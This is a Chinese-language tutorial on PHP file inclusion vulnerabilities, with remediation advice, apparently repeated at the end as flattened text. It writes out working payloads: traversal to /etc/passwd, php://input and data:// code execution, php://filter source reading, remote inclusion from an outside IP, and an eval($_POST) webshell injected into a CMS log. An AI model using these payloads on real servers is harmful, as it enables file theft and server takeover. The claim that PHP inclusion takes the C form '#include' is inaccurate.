Web安全-文件包含
字数 2727 2025-08-11 21:26:39

文件包含漏洞全面解析与防御指南

一、文件包含原理

文件包含是指源文件可以将另一个文件的全部内容包含进来的功能。在PHP中,文件包含通常表现为以下形式:

#include "文件名"

#include <文件名>

二、文件包含漏洞产生条件

  1. 用户能够控制动态变量
  2. 程序使用include()等函数通过动态变量的方式引入需要包含的文件

三、文件包含漏洞的危害

  1. 敏感信息泄露:读取服务器上的敏感文件
  2. 获取webshell:通过包含恶意文件获取服务器控制权
  3. 任意命令执行:执行系统命令,完全控制服务器

四、危险函数列表

PHP危险函数

  • include()
  • include_once()
  • require()
  • require_once()
  • fopen()
  • readfile()

JSP/Servlet危险函数

  • java.io.file()
  • java.io.filereader()

ASP危险函数

  • include file
  • include virtual

五、函数区别详解

  1. include():包含并运行指定文件,包含文件发生错误时,程序警告但会继续执行
  2. require():包含并运行指定文件,包含文件发生错误时,程序直接终止执行
  3. include_once():和include类似,但会检查文件是否已被导入,避免重复导入
  4. require_once():和require类似,但只导入一次

六、PHP配置相关

php.ini关键配置:

  • allow_url_fopen=off:禁止包含远程文件
  • PHP4存在远程包含和本地包含漏洞
  • PHP5仅存在本地包含漏洞

七、文件包含漏洞类型与利用

7.1 本地文件包含(LFI)

无限制文件包含示例

// include.php
<?php
$filename=$_GET['filename'];
include($filename);
?>

访问方式:http://127.0.0.1:8080/include.php?filename=index.txt

有限制文件包含绕过方法

  1. %00截断(空字符截断)
  2. 路径遍历:../../../etc/passwd
  3. 垃圾数据填充:filename=../../../../etc/passwd%00
  4. 超长文件名绕过

7.2 远程文件包含(RFI)

条件

  • allow_url_fopen=ON
  • allow_url_include=ON

示例

// include.php
<?php
$filename=$_GET['filename'];
include($filename);
?>

远程服务器上创建readme.txt并访问:
http://127.0.0.1/include.php/?filename=http://192.168.192.131/index.txt

八、PHP伪协议利用

8.1 支持的伪协议列表

  • file:// - 访问本地文件系统
  • http:// - 访问HTTP(s)网址
  • ftp:// - 访问FTP(s) URLs
  • php:// - 访问I/O流
  • zlib:// - 压缩流
  • data:// - 数据(RFC 2397)
  • glob:// - 文件路径模式匹配
  • phar:// - PHP归档
  • ssh2:// - Secure Shell 2
  • rar:// - RAR
  • ogg:// - 音频流
  • expect:// - 处理交互式流

8.2 关键配置参数

  • allow_url_fopen:默认ON,允许URL封装协议访问文件
  • allow_url_include:默认OFF,不允许包含URL封装协议

8.3 各协议利用详解

php://input

利用条件allow_url_include=ON
作用:访问请求的原始数据,将POST数据作为PHP代码执行
限制enctype="multipart/form-data"时无效

示例

http://127.0.0.1/include.php?file=php://input
[POST DATA]
<?php phpinfo(); ?>

file://

用途:访问本地文件系统
示例

  1. 绝对路径:http://127.0.0.1/include.php?file=file://D:\phpStudy\WWW\index.txt
  2. 相对路径:http://127.0.0.1/include.php?file=./index.txt

http://

用途:远程文件包含
示例http://127.0.0.1/include.php?file=http://127.0.0.1/index.txt

php://filter

用途:读取文件源码
示例

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

过滤器分类

  1. 字符串过滤器

    • string.rot13
    • string.toupper
    • string.tolower
    • string.strip_tags
  2. 转换过滤器

    • convert.base64-encode/decode
    • convert.quoted-printable-encode/decode
  3. 压缩过滤器

    • zlib.deflate/inflate
    • bzip2.compress/decompress
  4. 加密过滤器

    • mcrypt.*
    • mdecrypt.*

data://

用途:直接执行PHP代码
示例

  1. 明文:http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>
  2. Base64编码:http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

phar://、zip://、bzip2://、zlib://

用途:读取压缩文件中的内容
特点:不需要指定正确后缀名
示例http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

九、漏洞修复方案

  1. 设置白名单:严格限制可包含的文件范围
  2. 过滤危险字符:如../phar://
  3. 设置文件目录:限制包含文件只能在特定目录
  4. 关闭危险配置
    • allow_url_fopen=Off
    • allow_url_include=Off
  5. 使用绝对路径:避免相对路径带来的安全隐患
  6. 更新PHP版本:使用最新稳定版本

十、实战案例

10.1 CTF-南邮杯案例

利用伪协议读取源码:

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

10.2 ekucms文件包含漏洞

  1. 注入恶意代码:
http://127.0.0.1/ekucms2.4.1/index.php?s=my/show/id/{~eval($_POST[x])}
  1. 执行phpinfo:
http://127.0.0.1/ekucms2.4.1/index.php?s=my/show/id/\..\temp\logs\22_04_20.log

十一、总结

文件包含漏洞是Web安全中常见的高危漏洞,攻击者可以利用此漏洞读取敏感信息、执行系统命令甚至完全控制服务器。防御的关键在于严格控制文件包含的范围、过滤用户输入并及时更新系统配置。开发人员应避免使用动态包含文件的方式,或至少对用户输入进行严格校验。

文件包含漏洞全面解析与防御指南 一、文件包含原理 文件包含是指源文件可以将另一个文件的全部内容包含进来的功能。在PHP中,文件包含通常表现为以下形式: 二、文件包含漏洞产生条件 用户能够控制动态变量 程序使用include()等函数通过动态变量的方式引入需要包含的文件 三、文件包含漏洞的危害 敏感信息泄露 :读取服务器上的敏感文件 获取webshell :通过包含恶意文件获取服务器控制权 任意命令执行 :执行系统命令,完全控制服务器 四、危险函数列表 PHP危险函数 include() include_once() require() require_once() fopen() readfile() JSP/Servlet危险函数 java.io.file() java.io.filereader() ASP危险函数 include file include virtual 五、函数区别详解 include() :包含并运行指定文件,包含文件发生错误时,程序警告但会继续执行 require() :包含并运行指定文件,包含文件发生错误时,程序直接终止执行 include_ once() :和include类似,但会检查文件是否已被导入,避免重复导入 require_ once() :和require类似,但只导入一次 六、PHP配置相关 php.ini 关键配置: allow_url_fopen=off :禁止包含远程文件 PHP4存在远程包含和本地包含漏洞 PHP5仅存在本地包含漏洞 七、文件包含漏洞类型与利用 7.1 本地文件包含(LFI) 无限制文件包含示例 : 访问方式: http://127.0.0.1:8080/include.php?filename=index.txt 有限制文件包含绕过方法 : %00截断(空字符截断) 路径遍历: ../../../etc/passwd 垃圾数据填充: filename=../../../../etc/passwd%00 超长文件名绕过 7.2 远程文件包含(RFI) 条件 : allow_url_fopen=ON allow_url_include=ON 示例 : 远程服务器上创建 readme.txt 并访问: http://127.0.0.1/include.php/?filename=http://192.168.192.131/index.txt 八、PHP伪协议利用 8.1 支持的伪协议列表 file:// - 访问本地文件系统 http:// - 访问HTTP(s)网址 ftp:// - 访问FTP(s) URLs php:// - 访问I/O流 zlib:// - 压缩流 data:// - 数据(RFC 2397) glob:// - 文件路径模式匹配 phar:// - PHP归档 ssh2:// - Secure Shell 2 rar:// - RAR ogg:// - 音频流 expect:// - 处理交互式流 8.2 关键配置参数 allow_url_fopen :默认ON,允许URL封装协议访问文件 allow_url_include :默认OFF,不允许包含URL封装协议 8.3 各协议利用详解 php://input 利用条件 : allow_url_include=ON 作用 :访问请求的原始数据,将POST数据作为PHP代码执行 限制 : enctype="multipart/form-data" 时无效 示例 : file:// 用途 :访问本地文件系统 示例 : 绝对路径: http://127.0.0.1/include.php?file=file://D:\phpStudy\WWW\index.txt 相对路径: http://127.0.0.1/include.php?file=./index.txt http:// 用途 :远程文件包含 示例 : http://127.0.0.1/include.php?file=http://127.0.0.1/index.txt php://filter 用途 :读取文件源码 示例 : 过滤器分类 : 字符串过滤器 : string.rot13 string.toupper string.tolower string.strip_tags 转换过滤器 : convert.base64-encode / decode convert.quoted-printable-encode / decode 压缩过滤器 : zlib.deflate / inflate bzip2.compress / decompress 加密过滤器 : mcrypt.* mdecrypt.* data:// 用途 :直接执行PHP代码 示例 : 明文: http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?> Base64编码: http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ phar://、zip://、bzip2://、zlib:// 用途 :读取压缩文件中的内容 特点 :不需要指定正确后缀名 示例 : http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt 九、漏洞修复方案 设置白名单 :严格限制可包含的文件范围 过滤危险字符 :如 ../ 、 phar:// 等 设置文件目录 :限制包含文件只能在特定目录 关闭危险配置 : allow_url_fopen=Off allow_url_include=Off 使用绝对路径 :避免相对路径带来的安全隐患 更新PHP版本 :使用最新稳定版本 十、实战案例 10.1 CTF-南邮杯案例 利用伪协议读取源码: 10.2 ekucms文件包含漏洞 注入恶意代码: 执行phpinfo: 十一、总结 文件包含漏洞是Web安全中常见的高危漏洞,攻击者可以利用此漏洞读取敏感信息、执行系统命令甚至完全控制服务器。防御的关键在于严格控制文件包含的范围、过滤用户输入并及时更新系统配置。开发人员应避免使用动态包含文件的方式,或至少对用户输入进行严格校验。